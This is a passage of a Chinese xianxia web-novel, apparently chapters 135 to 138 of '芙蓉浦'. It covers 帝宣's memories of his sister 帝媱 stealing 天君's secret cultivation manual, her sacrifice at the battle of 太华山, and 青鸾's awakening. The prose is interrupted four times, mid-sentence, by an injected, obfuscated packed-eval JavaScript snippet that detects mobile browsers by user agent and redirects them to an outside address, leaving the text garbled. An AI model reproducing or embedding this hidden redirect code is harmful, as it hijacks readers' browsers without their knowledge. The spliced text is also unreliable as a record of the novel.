焕鸢夫人将小帝媱搂进怀里,语声轻柔:“母亲将这件事告知你,是要让你知道,也许有朝一日宣儿也会面临同样的困境。他的生母如今虽然不知所踪,他的生父对外只是宣称她已陨落,但事实真相我们都不得而知。” “母亲希望宣儿永远不会被自己的身世所扰,但若将来无法避免有这样一天,那么我们都是他最坚实的后盾。” “他是母亲的儿子,是你的兄长,你也要保护他,不要让他像帝骁那般,在这冷冰冰的九重天上孤身一人面对流言蜚语。” “哥哥虽然不是我的亲哥哥,但他比亲哥哥还亲。”小帝媱抱住母亲:“我会保护好哥哥的,就像哥哥保护我一样!” 这么多年来她也的确是这样做的,虽然她是妹妹,但很多时候她都喜欢挡在帝宣身前。 譬如帝宣因为苦练法阵之术而忘记完成师尊布置的剑术课业,被父亲严厉批评的时候。 又譬如他为了研究彼岸花的人工培育方法不小心把花园里唯一一朵彼岸花浇死的时候。 她都会勇敢地挡在兄长面前,然后被帝台神和焕鸢夫人拎着耳朵跟兄长一起禁闭受罚。 投影中的帝宣见帝媱因为提及与他身世有关的话题而兀自懊恼,不由温和一笑:“但我很清楚我的母亲是爱我的。” “她对我的爱远比恨要多。” 帝媱知道帝宣此刻所说的母亲指的是他的生母,听到他如此说,她才终于放下心来。 可是旋即她莫名想到帝骁。 于是声音又低了下来:“哥,那你说素娆夫人她爱帝骁吗?” 帝宣沉默了一会儿道:“我不知道。” 都说当局者迷,但身为旁观者的帝宣也看不清这一点。 素娆到底爱不爱帝骁? 她对这个被逼迫着生下的孩子到底是怎样的感情? 若说不爱,她对帝骁的照顾可以说是无微不至的,且帝骁从小便于炼器一道展现出极高的天赋,他自己也对炼器很感兴趣,帝凌几次为此呵斥于他,不许他修习炼器术。 帝凌的说法与天君一致:“你是天君后裔,拥有天神血脉,修什么炼器术?简直玩物丧志!” 可是素娆支持帝骁炼器,并且还曾用自己积年攒下的法宝作为交换,请求焕鸢夫人为帝骁寻过一个炼器炉。 帝宣认为素娆到底是爱她的孩子的。 可是这爱里掺杂的恨意也如此浓烈。 望向帝骁时目光中不经意流露出的憎恨也许连她自己都不曾察觉,但这样的目光偶尔会落入帝宣眼中。 那是他第一次对人复杂的情感有了清晰的认知。 原来爱与恨真的是能交织在一起的。 帝媱随帝宣一起唏嘘了一番后,她托着腮道:“真没想到帝骁也对炼器术感兴趣。” “哥,倘若能进入其野学宫,我打算主修炼器术。” “到时我去寻一个上品炼器炉,便劳你送给帝骁吧!” …… 这些都是后话了。 后来帝媱如愿进入学宫,成为了学宫的正式弟子,并且进入红尘道修习炼器术。 远在九重天宫的帝骁收到了她托帝宣送来的炼器炉,罕见地露出讶异之色。 自从素娆夫人被打入龙渊之狱后,他再也不曾炼器,帝宣将炼器炉送给他时并没有多说什么,只提了一句这是帝媱为他从学宫寻来的。 帝骁犹豫了一瞬还是将它收下,望一眼帝宣,没有多问什么,两人心照不宣地保持着沉默,纵容帝媱继续在凡间求学生活。 起初帝宣很不放心帝媱独自在凡间生活,他封印了她部分神力,以防她被九重天宫的人察觉,又分出一抹神识在她身上,关注着她在学宫的一举一动。 后来看到她顺利通过学宫考核,成为正式弟子,如愿进入红尘道修习炼器术,在青姬和沈明月的帮助下慢慢熟悉学宫生活,又交了许多的新朋友,帝宣这才放下心来,渐渐地不再如一开始那般时刻盯着帝媱动向。 幻境中的青鸾随着帝宣的记忆一起观察着帝媱过去在其野学宫的生活。 她现在对这座学宫越来越感兴趣。 记名新生在参加考核时要进入一个粉色的法阵中,青鸾一开始只是觉得这个法阵十分别致,后来发现那法阵中流淌着心火之力。 最终判定新生是否通过考核的并不是现场的考官,而是那若隐若现的浅粉色火光。 心火亮则代表记名新生通过考核成为正式弟子,反之便是没有通过考核。 青鸾看得饶有兴味。 帝宣曾言,其野学宫的两位创始人皆是凡间女子,这两位凡间女子其中定有一位觉醒了心火,且她巧妙地将心火与法阵相结合,将它运用到了新生考核中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148537|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 真没想到心火还能如此用。 青鸾感慨,从古至今觉醒过心火的人并不多,但当真个个都是人才。 却说帝媱通过考核之后,愉快地在学宫中过起了凡人烛媱的生活,时间一久帝宣也就逐渐放手让她自己闯荡,不再如最初那般时时盯着她的动向,只偶尔用神识观察一下她在凡间是否安全。 却没想到,帝宣忙活了一阵公务,九重天上只不过一两个时辰的工夫,他再用神识观察帝媱在凡间过得如何时,发现她竟然不在学宫之中,而是同一个陌生男子立于城郊河畔。 帝宣先是一怔,然后眼角一抽。 两人似乎是在赏月,不知那男子说了些什么,逗得帝媱一个劲儿地笑。 帝宣眯了眯眼,眼角又是一抽。 神识投影出的画面中,二人的距离隔得非常之近,渐渐地帝媱将头靠在了男子的肩上。 在那男子将手抬至帝媱腰际时,帝宣看得心头火起,终于忍不住了,一个瞬息从九重天来到了凡间。 两人都被突然出现的帝宣吓了一跳,还没反应过来发生了什么,便见帝宣冷着脸抬袖一拂,一掌将帝媱身侧的男人打到了河里去。 帝媱看清来人后惊呼一声:“哥!你做什么?” 成渊冷不防被帝宣打进河里,立即施展出避水术,他从河中跃出时衣衫未湿,回身便向帝宣劈去。 却在出掌的瞬间听见帝媱对帝宣的称呼,于是掌心一翻,生生将那道攻势在空中化去。 他原本以为是自己的哪个仇家追了过来,却没想到那无端给他一掌的人竟是帝媱兄长。 于是两个神君之间原本一触即发的对战变成了成渊单方面挨揍。 帝宣下手可谓毫不留情,如此猛烈的攻势之下成渊却也没有反击,只守不攻连连后退。 帝媱急得直跺脚,知道自己是叫不住帝宣了,干脆飞身上前闭着眼睛挡在成渊面前。 成渊见状心中一惊,慌忙出手将她拉到自己身后,与此同时帝宣也终于收手,尚未布完的法阵在成渊脚下闪烁着冷冽的光,片刻之后随风消散。 帝宣的眼神比他布下的杀阵还要冷冽。 这么多年来他在帝媱面前一直保持着温和的形象,无论她闯了多大的祸他都没脾气,这还是帝媱第一次见到周身都流淌着肃杀之气的兄长。 实在顶不住帝宣眼神的压力,帝媱心虚地从成渊身后走出,走到帝宣面前。 她扯了扯他的袖角:“哥,你别生气了,你听我解释……” 帝宣勾起一抹冷笑:“等我揍完他再听你解释。” 见帝宣又要出手,帝媱慌忙阻止:“哥,你先别忙着揍成渊,现在有更重要的事情要做。” 她语气郑重:“我有一件非常非常要紧的事情要告诉你!” 帝宣扫一眼成渊,忍了又忍,这才将满腔怒火暂时压了下去:“什么要紧的事情?” 帝媱的回答让他瞬间将目光从成渊移到了她的身上。 他紧皱起眉头,满眼不可置信:“你说什么?” “你再说一遍?!” 136. 芙蓉浦 “哥,我想让你帮我一起去偷天君的心法秘籍。” 帝媱真以为帝宣方才没听清她说了什么,一字一句郑重其事地复述了一遍。 帝宣只觉得周遭天旋地转,一阵眩晕后他闭上眼睛深吸了一口气,然后睁开眼盯着满脸无辜的帝媱,气笑了。 “你是说你在凡间待了这几年,不知道从哪里捡了个来路不明的男人,并且打算去九重天宫偷天君的秘籍?”他再次吸了一口气,努力稳住自己的情绪:“你不如告诉我现在我是在做梦,我还好接受一点。” 站在帝媱身后的成渊抬手指了指自己。 来路不明的男人? 我吗? 他觉得有必要向帝宣解释一下,于是上前道:“是这样的……” “你闭嘴。”帝宣皱眉打断他。 成渊哦了一声闭上嘴巴。 帝宣继续盯着帝媱:“你来说。” 他的理智到底还没有被怒火燃烧殆尽,倒也还分得清轻重缓急。那个来路不明的男人且等到之后再处理,他现在更关心帝媱为什么要偷天君的秘籍,她想偷什么秘籍? “哥,你来得正好,我今日本来也打算去找你帮忙的。”帝媱的声音轻轻柔柔,说出来的话却是骇人听闻:“天君坐居四海八荒至尊之位,却未尽到守护世人的职责,我们此番去偷秘籍乃是为天下人计。” 她这一番话听得帝宣无比震惊,但他越是震惊,反而越是冷静下来。 他抬手布下一道禁制,将三人的身形隐去,又设下一个阵法,屏蔽了自己的神息,便连他们的精神波动也一并屏蔽。 做完这些事后他问帝媱:“这些话你还同谁说过?为什么要如此说?你知道了什么?” 帝媱摇首:“我打算去偷秘籍的事只有我们三人知道。” “但是……”她咬咬唇继续道:“如今四海八荒灵气愈渐稀薄,大家都在猜测,不久的将来是否会灵气断绝,届时所有人都将无法修炼。” “其野学宫炼器术与机关道两大学院致力于研究出能够取代各类神通的器物,譬如飞行用具,又譬如只需要注入一点灵力便能将人瞬移到千里之外的机关阵法。” “这只是学宫为传说中末法时代的来临所做的其中一种准备,与此同时其他学院也在探索灵气断绝时期人们可行的生存之法。” 帝宣越听越觉不妙,帝媱所说之事牵涉甚广,且此事若与九重天宫扯上关联,那就绝非他二人可以轻易插手的。 他的眉头越拧越紧。 却听帝媱继续道:“前段时间有位院长占卜出九重天宫藏了一本秘籍,那本秘籍上记载着末法时代也能修炼的心法口诀。” “哥,原来即便是灵气断绝的时期,人们也是有机会修炼的,只是那样的机会少之又少罢了,但至少比全无希望要好。” “学宫推测那本秘籍为天君所有,毕竟他是天下至尊,秘籍既然就藏在九重天宫,那么大概率在他的手上。” “后来我用神识悄悄窥探过,确认那本秘籍的确就藏在天君宫中。” 听到这里帝宣再次倒吸一口凉气,他忍不住戳帝媱的额头:“你好大的胆子,居然敢用神识窥视天君。” 他的语气难得激动:“你还想不想要这条小命了?” 帝媱往后缩了一缩:“我想我们若是去偷了秘籍,天君一定会震怒,但他应该还不至于要杀了我们吧……” 帝宣无奈叹气。 他之所以会如此紧张,并非是畏惧于天君至尊之位的权威,而是他清楚天君秉性,也知道天君的行事作风。 若是太平无事,他们便是天君的亲孙儿,说出去也算是与天君有血脉之亲。 可若是他们胆敢挑衅他的权力,侵犯他的利益,那么成为阶下囚也不过是转瞬之间的事。 更遑论窃取秘籍这样大的罪过,天君若是不起杀心那便不是天君了。 帝宣沉默了好一会儿才道:“此事需得从长计议,不能轻举妄动。” 他在很早之前便知道,九重天上的神君们正在天君的组织下研究灵气断绝时代的修炼之法。只是据他所知,这个研究虽然已经持续了上千年,但尚未得出结论。 倘若其野学宫的那位院长占卜结果属实,那便证明其实天君已经得到了心法秘籍,只是秘而不宣,将它藏在了自己宫中。 若是如此,那秘籍岂是他们几个人便能轻易窃取的? 再说了,即便成功将秘籍盗出,又有何人能够接应他们,他们在天君的追杀之下能够逃到哪里去? 帝宣向帝媱细细陈述了他的顾虑,却听帝媱道:“来不及从长计议了,天君不日便要启程前往大荒,届时他会带上那本秘籍,将它封印在大荒之中。” “哥,一旦秘籍被天君封印,我们便很难得手了,一定要趁它还在九重天宫的时候将它偷出来。” “天君为什么选择将它封印在大荒?”帝宣的语气里已经满是无奈了,甚至还有一点崩溃:“你又是如何得知天君不日便要启程前往大荒的?” “难道除了用神识窥探秘籍,你还用神识窥探过天君的行程?” 帝媱咬住下唇:“我也不知道他为什么会选择大荒,我、我没敢让神识停留太久,只听到他吩咐一位神君提前去大荒做好准备……” 帝宣知道帝媱体质特殊,天下灵力皆可与她感应为她所用,因此她能够将自己的神识隐于自然灵力之中,很难被人发现。 但是他没有想到这丫头胆子居然这么大,仗着自己体质特殊就胡作非为,居然敢窥探到天君头上去。 他叹了口气警告帝媱:“你没有被天君发现,完全是因为你运气好,下次不许再这样了。” 帝媱使劲儿点头。 帝宣无奈地望一眼帝媱,又望一眼她身后的成渊,看出来他们根本是早已做好打算,于是再次叹了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153141|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“行了,把你们的计划告诉我吧。” 帝媱果然是早有成算,她言简意赅道:“哥,我们几人中唯有你能出入天君宫中,下月你代父亲入宫述职便是最好的动手时机。” “届时我们会随你一起前往九重天宫,我在天君宫外调用周遭灵力掩住你的气息,然后你就可以前往书阁取出秘籍。” 帝宣回忆着天君宫中去往各处的路线:“秘籍藏在书阁中?” “是的,这是我用神识探查到的,但是我不知它具体放在何处,天君在书阁布下了一个很厉害的禁制,我用神识也无法窥视。”帝媱将一个法器交给帝宣:“这是学宫问天道和红尘道的几位师姐联手炼制出的法器,威力极其强悍,足以将那道禁制连同整座书阁炸得粉碎。” “既然我们寻不到秘籍的准确位置,也解不开天君布下的禁制,那就干脆把书阁炸了。” “秘籍之上还有禁制,且那道禁制融入了天君一抹神识,用法器是炸不碎的,因此不用担心秘籍同书阁一起被炸毁。书阁炸毁之后秘籍自然就会出现,到时你带着它出宫就好,我们在天君宫外接应你。” 说到这里,她回身牵起成渊的手,正式向帝宣介绍他:“这是大言合虚神成渊,他居住在先神隐居之地合虚,那里有许多先神法器,我们可以借助法器解开秘籍上的禁制。” “且合虚非先神血脉者不可入,他可以带我们穿过合虚周围的先神结界,到时即便天君带人追杀,他们也无法进入合虚。” 如此计划也算缜密,帝宣注视着帝媱,眼中既有担忧也有欣慰。 “在这之后呢,你们打算如何处理这本秘籍,将它交给其野学宫?”帝宣转动着手中沉甸甸的法器,这个小玩意儿可以将天君的禁制炸得粉碎,凡人的力量果真不可小觑。他思索片刻后继续问道:“你们行此险事学宫是否知情?还是说你向学宫坦白了自己的身份,这个任务本身便是学宫交给你的?倘若学宫并不知情,那么学院里有多少人在暗中协助于你?” 以凡人之力炼制出能够炸毁天君禁制的法器并不容易,他不相信帝媱的师姐们是闲来无事耗费心力炼制这样一枚威力极大的法器,然后随手把它送给了帝媱。 至少那几个炼制法器的师姐一定是知晓内情的。 帝媱眨了眨眼,叹了口气:“哥,我就知道瞒不过你。” “学宫每隔一段时间便会组织弟子外出历练,去年我和师姐在一次外出任务中遇险,我不得已使用了神力。”虽然帝宣待帝媱向来温和,从没有对她发过脾气,但总归兄长有着血脉压制,帝宣一个眼神就让她老老实实将事情的来龙去脉和盘托出:“和我同队的沈师姐因此知晓了我的真实身份,不过她人很好,一直帮我隐瞒,并未将我的身份告知旁人。” “我只是学宫中的普通弟子,本来无法得知院长们所商之事。有院长占卜出秘籍藏在九重天宫,这个消息还是沈师姐告诉我的。” 137. 芙蓉浦 “起初师姐前来寻我,说有要紧事需要我帮忙,我还以为她是要我去偷你的书法画作来着。”帝媱观察着帝宣的表情,见他面色越来越冷峻,于是开了个玩笑,试图缓解气氛:“这位沈师姐可是很仰慕你的,不过话说回来,哥你在这片凡域的名声可是相当的好,仰慕你的人只多不少,若是谁能取来你的一两幅画作拿去拍卖,那可就发财了……” “少转移话题。”帝宣冷声道:“她将秘籍藏在九重天宫的消息告知于你,就是想让你帮忙将秘籍盗出?” 帝媱抿了抿嘴,犹豫了一下后老老实实道:“是沈师姐将这个消息告诉我的,盗取秘籍也的确是她提出来的,但是做这件事是我自愿的。” “哥,我希望这本秘籍能够流传于世,造福世人。天君将它据为己有,那太自私了。” “你也说过凡人无神力傍身,居于世间大为不易,以后的世界只会更加危险,哪怕是最弱小的凡人也有权利拥有修炼的机会。” “所以即便师姐不说,我也会这样去做。” 顿了顿,她小声地道:“方才之所以不想告诉你这些,是因为我知道你不愿让我置身险境,若让你知晓此事是师姐告诉我的,你肯定会怪她。” 她又扯了扯帝宣的衣袖:“哥,真的是我自愿的。我愿意去做这件事,因为我喜欢在凡间结识的那些伙伴,因为我看到了凡人生活的艰难,我想要帮助他们。” 帝宣长久地注视着帝媱。 在听到是师姐告诉她秘籍之事时他的确是恼怒的,此事太过凶险,稍有不慎便会万劫不复,他怎么舍得让帝媱行此危险之事。 可是现在听见帝媱如此说,他便知晓她决心已定。 既然她并非被人胁迫或是诱惑,做这件事的确是出自本心,他自然没什么话好说。 抬手抚了抚她的脑袋,他目光温柔:“你们的计划可行,便按照这个计划行事吧。” 帝媱眼神一亮,用力地点了点头。 又听帝宣道:“除了参与计划的几位师姐,学宫中是否还有旁人知晓此事?” 帝媱摇头:“我知道此事干系重大,知道内情的人越少越好,因此除了我们三人和那几位师姐,再无旁人得知。” “不过取得秘籍破解禁制后我们还是要将它交给学宫的,我相信学宫不会藏私,它会将这份秘籍传于世人。” “至于我们就继续躲在合虚便好,反正这世上已无先神,便连后神也少之又少,想来也无人能够闯入此地。” 之后几人便按此计划行事,帝宣在次月入宫述职时将帝媱和成渊也带入了九重天宫,他二人隐于天君宫外,待帝宣述职完毕后,帝媱依计调动灵力隐去了帝宣气息。 帝宣掐了个隐身诀便往天宫书阁而去。 帝媱的计划称得上缜密,唯有炸毁书阁这一环帝宣觉得略有不妥。 凡人炼制的法器威力究竟几何,能否粉碎天君布下的禁制,他心中存疑,于是做了第二手准备,出发前还带上了自己外出历练时在古遗址寻得的法器。 却没想到帝媱交给他的法器威力果然巨大,瞬间便将禁制连同书阁一起炸得粉碎,他连忙布阵护住自己,然后从一片废墟中取得秘籍,飞速朝宫外而去。 到此为止一切都在按照计划顺利进行,他带着秘籍来到宫外,见到帝媱后示意他们赶紧随他离开九重天宫。 帝媱上前接过秘籍,然后反手布阵将帝宣定在了原地。 她的布阵造诣远远不及帝宣,按理说根本无法困住他。 但是她所设下的这个阵恰好便是帝宣当年亲自所创。 这是一个他专为帝媱所设的,自己无法解开的阵法。 “阿媱,你做什么?”帝宣目光一颤。 随即他立马反应过来。 帝媱并没有把她真正的计划告诉他,她对他有所隐瞒。 “还记得小时候我总喜欢缠着你陪我玩儿捉迷藏的游戏,但我又怕你耍赖,怕你跟在我身后偷偷看我藏在哪儿。”帝媱闭上眼睛,将帝宣分给她的那抹神识从身体里剥离:“于是你自创了一个定身阵法,这个阵法对别人都无效,唯独对你有效。” “你让我用这个阵法将你定住,这样就不用担心你耍赖,偷偷跟着我啦。” 将帝宣的那一抹神识还给他之后,帝媱睁开眼睛冲他笑道:“哥,阵法半炷香之后便会自动解开。对不起,我骗了你。” 帝宣被困在阵法之中,无法动弹,也不能言语。 他心痛地注视着帝媱,却是无计可施,只能眼睁睁看着她同成渊一起离开。 “对不住。”离开前成渊使出后神之力将他击倒。 其实这一掌刚挥出去成渊便已经汗流浃背了。 当真是打重了也不是打轻了也不是,他其实也为难得很。 以后若有机会再向大舅哥请罪吧。 天宫的人片刻之后便追了过来,帝台神与焕鸢夫人得知帝宣受伤后也很快赶来。 帝媱虽然能够调用灵力暂时隐藏气息,但这个法子在天君面前还是不够看的,更何况九重天上还有这样多的神君,秘籍失窃一事很快便水落石出,天君当即下令,号令九重天宫所有神君全力捉拿帝媱。 至于帝宣,事发时他虽然出现在天宫门口,但他被法阵所困,又中了后神一掌,自然洗清了嫌疑。 “此阵乃宣儿当年专为帝媱所创,因此能够困住他。想是他入宫述职后恰巧撞见了帝媱与那后神窃取秘籍,双方交起手来,他才会被那后神所伤。”其实帝台神如何猜不出帝宣与此事的关联,但事已至此,他只能拼尽全力保住帝宣:“没想到帝媱为了窃取秘籍不惜联合后神重伤兄长,是我教女无方,竟让她做出这样的事。” 帝台又承诺会和诸位神君一同捉拿帝媱,绝不顾念私情,天君这才半信半疑地将受伤的帝宣放了回去。 帝宣自然也知,帝媱用法阵困住他,又让成渊以后神之力伤他,为的便是洗清他的嫌疑。 她将他的那抹神识还给他,这样一来他便无法探知她的所在,也就无法前来寻她。 她不想让他同她一起流离失所逃亡天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158134|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涯,她要独自将盗窃秘籍的罪名担下。 帝宣只在府中养了半日,伤还未好便离开九重天前往凡间寻找帝媱。 天君声势浩大,为了捉拿她几乎动用了九重天宫所有的力量,一路寻找帝媱的踪迹对她围追堵截,帝媱与成渊没那么快回到合虚。 他必须在天君亲自动手之前寻到帝媱。 天君虽然兴师动众捉拿帝媱,但到底不能将真相告知世人,所以他为此次讨伐寻了一个冠冕堂皇的理由。 这个理由便是后神抢婚。 天君对外宣称帝媱早有婚约在身,后神成渊贪图神女美色,竟将帝媱掳去。 这样一来九重天宫讨伐成渊便是名正言顺。 除此之外,天君还号令九重天外四海八荒所有神君随他一同讨伐成渊。 毕竟后神闯到九重天宫抢婚,打的可是所有仙神的脸。 西王母收到天君手令后并未亲自出山,而是派遣凰女九聆,让她随九重天的神君们一同捉拿帝媱。 出发前她还嘱咐凰女:“看天君此番声势,定然不是后神抢婚这么简单,你去露个脸即可,不必真的趟进这个浑水里。” 凰女领命前去,却是不想刚出昆仑便遇上了帝宣。 帝宣心知凰女出山定是奉天君之命捉拿帝媱,因此刚与她打了个照面,便率先动手布下法阵,想要将她困在原地。 法阵的光芒刺眼却又柔软,照在凰女身上,在她的红衣之间流淌,与她指尖的火光相辉映,衬得她越发圣洁,犹如神女降世。 帝宣怔了一怔。 眼前之景倒是与他那幅已经完成但不可示人的画作十分相像。 凰女看起来并不打算同他动手。 她收了指尖火焰,在空中垂首细细端详帝宣。 她记得眼前之人。 他是帝媱的兄长,曾和帝媱一起来过昆仑之境,托她找寻灵气充沛之地种下灵植。 这兄妹二人的关系似乎很好,倘若真是后神抢婚,他为何阻拦助他寻回妹妹的人。 看来事情果真没有那么简单。 她确实不想趟九重天的浑水。 于是对帝宣道:“你走吧。” 帝宣当即撤了法阵,见到凰女飘飘然转身欲走,他犹豫片刻还是唤住了她:“凰女留步!” “嗯?”凰女顿下脚步,转身看他。 “听闻凰女有千里传音之术,亦能索敌于万里之外。”帝宣并不知道凰女是否会答应他的请求,他为了帝媱硬着头皮道:“能否请求凰女动用索敌之术,找寻吾妹阿媱此刻身在何处?” 凰女听完他的请求后安静地注视了他一会儿,然后歪了歪脑袋道:“想让我动用索敌之术寻找帝媱行踪,至少得将此间内情告知于我吧?” “若是你们做了什么坏事被九重天宫追杀,我出手帮你岂非助纣为虐。” 帝宣倒也猜到了凰女会如此问,但他还是微微一怔。 不知是不是他的错觉,虽然隔着面纱,但他似乎能够透过凰女的眼睛看到她脸上的笑意。 138. 芙蓉浦 她似乎是在冲他笑,只是那笑意并不明显。她耐心地等待着他的回答,那目光像是在关爱一个迷茫无措的晚辈。 帝宣怔了好一会儿才回过神来,回过神来后他犹豫片刻,最后还是决定将此事的来龙去脉全盘告知。 凰女听完之后皱眉沉默了半晌,似是在思索,又似在犹豫,然后她闭上眼睛,眉心闪烁起一道若隐若现的光芒。 睁开眼时她对帝宣道:“我可以带你去寻帝媱。” 不待帝宣道谢,她又道:“不过好像有些晚了,九重天宫已经寻到了他们。” 帝宣才放下的心又悬了起来,他当即道:“劳烦凰女告知他们的位置所在,我即刻便去寻她。” 凰女看了帝宣一眼,示意他跟上她,然后施展瞬移之术,带着他来到了太华山。 五百年前太华山诸神之战的壮观场面就这样再一次映入了青鸾眼帘。 她在这个以帝宣记忆凝结而成的幻境中,再次看到了曾经在瑾瑜的记忆长河里目睹过的太华之战。 四海八荒所有叫得上名号的神君都在这里,他们的威压逼得天地色变。 大言合虚神被一众神君包围,他临危不惧,将帝媱牢牢护在自己身侧。 帝骁持剑与他相对而立,两人身上都萦绕着冰冷的肃杀之气。 太华之战是近千年来诸神之间规模最大的一场战役,它被载入史册,流入民间,曾一度成为人们茶余饭后热议的话题。 当然了,不论是载入史册还是流入民间的内容,都是经过天君美化的。 人们并不知道,所谓诸神之间规模最大的一场战役,其实只是九重天宫联合四海八荒所有神君对成渊和帝媱二人的一场围杀。 所谓后神抢婚掳走神女,也只是天君对自己私藏心法秘籍寻的一块遮羞布而已。 青鸾不知彼时的帝骁是否知晓事情真相,但她知道无论真相到底是什么,成渊带走已经与他定下婚约的帝媱,此举便是触了他的逆鳞。 因此他出手时才会如此狠戾,全然是一副不死不休的模样。 在帝骁与成渊交手时卷起的一片狂风乱云中,帝媱抬眼瞧见了立于凰女身侧的帝宣。 她就知道他一定会寻过来的。 包围住成渊的神君们现出巨大的法相,他们结出一个法阵,将成渊死死困在其中。 两位神君的交战还在继续,他们交手时产生的余威足以震碎整座山脉。 在这样危急的时刻帝媱却是扬起了一个笑。 她转头望向凰女,用目光无声地向她请求。 凰女垂首,隔着刀剑术法的光影与她对视。 只是一眼她便读懂了帝媱目光中的意思。 她这是在求她拦住帝宣,不要让他卷进这场风波里。 在末法时代也能修炼的秘籍是何等重要,他们窃走秘籍并且打算公之于众,天君怎么可能善罢甘休。 且不说他们能否顺利逃回合虚,即便最后成功逃了回去,他们余生恐怕也只能藏在这片先神所居之地了。 四海八荒如此之大,万里江山风光无限,她不希望帝宣因为这件事被永远困在合虚。 但闻神君法相所围成的阵法发出一声巨响,成渊终于支撑不住,负伤从空中坠落。帝媱挥出绫带缠绕在他腰间,随他一起往太华山中那片正灼灼盛开的桃花林跌去。 帝骁在这时发出最后一击,他剑指成渊,磅礴的剑气与灵力引动惊雷,霎时间天边雷声大作,大颗大颗的雨滴随着狂风一起砸在众人脸上。 与此同时帝宣身形一动,眼看着他就要不顾危险冲进阵中,立于他身后的凰女发出轻声叹息,红色火光在她指间一闪,化为禁制将帝宣束缚在了原地。 帝宣错愕回首。 “西王母曾赞你是千年难得一遇的剑术天才,心地仁厚又有治世之才。”凰女覆在脸上的面纱同衣衫一起在风雨中飘摇,衬得她整个人显出一种飘渺之感,仿佛下一秒就会化为云烟散去。 她对他说:“好好活着,别把命丢在这里了。” 帝宣从一开始就知道他们没有那么容易逃脱天君的追杀,他只是没有想到帝媱会选择让他置身事外。 如今他只能眼睁睁看着她与成渊一起从空中坠落。 漫天花瓣飞舞,似是要将不断坠落的二人向上托举,却又无能为力,只能在他们的身侧疯狂旋转,然后在帝骁的攻势下瞬间化为齑粉。 刺眼的光芒中,帝媱回身挡住成渊,她在最后关头将自己的灵魂祭炼为一道屏障,挡下了帝骁的杀招。 幻境中的青鸾同帝宣一起落下了一滴泪。 她不知道自己因何哭泣,当她感觉到自己面颊冰凉时,泪水已经浸湿了她的脸庞。 她下意识朝幻境中那道灼灼似火的红色虚影望去。 凰女立于半空之中,她的目光里流露出些许悲悯,青鸾心头一动,她情绪在此刻与凰女产生共鸣。 她仿佛不再置身幻境,而是亲临战场,帝骁杀招的余威逼得她喘不过气,心脏在此时剧烈跳动起来。 心火不受控制地燃起,将幻境粉碎,把幻境背后的黑暗一同烧为灰烬。 它在这片空间肆意燃烧着,始祖之息尝试阻止它,却在接触到它时触电般往后一缩。 这心火不仅能击碎幻境,甚至还能吞噬灵魂。 始祖之息本来就只是一缕残魂,经过万年的沉睡才逐渐苏醒过来,这心火的力量实在太过诡异,自己一不小心恐怕就会魂飞魄散。 于是便只能任由青鸾在火海中觉醒力量。 与力量一同觉醒的还有一段段不算遥远的记忆碎片。 在这些记忆碎片中全都有路之遥的身影,无一例外。 她看见晶莹的雪花在眼前坠落,路之遥正伸手去接,而她伏在他的膝头,困倦地眯了眯眼,“师尊,千魂引真的好难,我学不会怎么办?” 路之遥将手停在半空,垂首望她:“学不会就慢慢学,总能学会的。” “可我要是一辈子都学不会该怎么办呢?”她撑起身子坐起来:“前日我在凡域听人说书,讲的是一个凡人如何披荆斩棘修道成仙的故事。” 路之遥嗯了一声,带着些好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160948|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇,温柔地注视着她,耐心地听她继续讲下去。 “那凡人好生厉害,也实在辛苦,他本来天资不足,此生也无法修炼成仙,却是一路逆天而行,最终得道飞升。” “然而飞升之后他才知道,仙外有仙,他一世辛苦修来的仙班不过是别人漫漫修行途中的起点而已。” “他不服输,也不认命,继续拼命修行,最后却还是敌不过无情大道,直到寿终也没能突破修为。” “师尊,凡人寿数太短,我们为神为仙也终会陨落。”她注视着路之遥,眼中流露出不舍:“千魂引可让我们魂血相依,即便轮回转世也能一眼认出彼此,可我总是学不会。” “若是我直到陨落也没能学会千魂引,待到转世之后,我是不是就再也认不出你来了?” 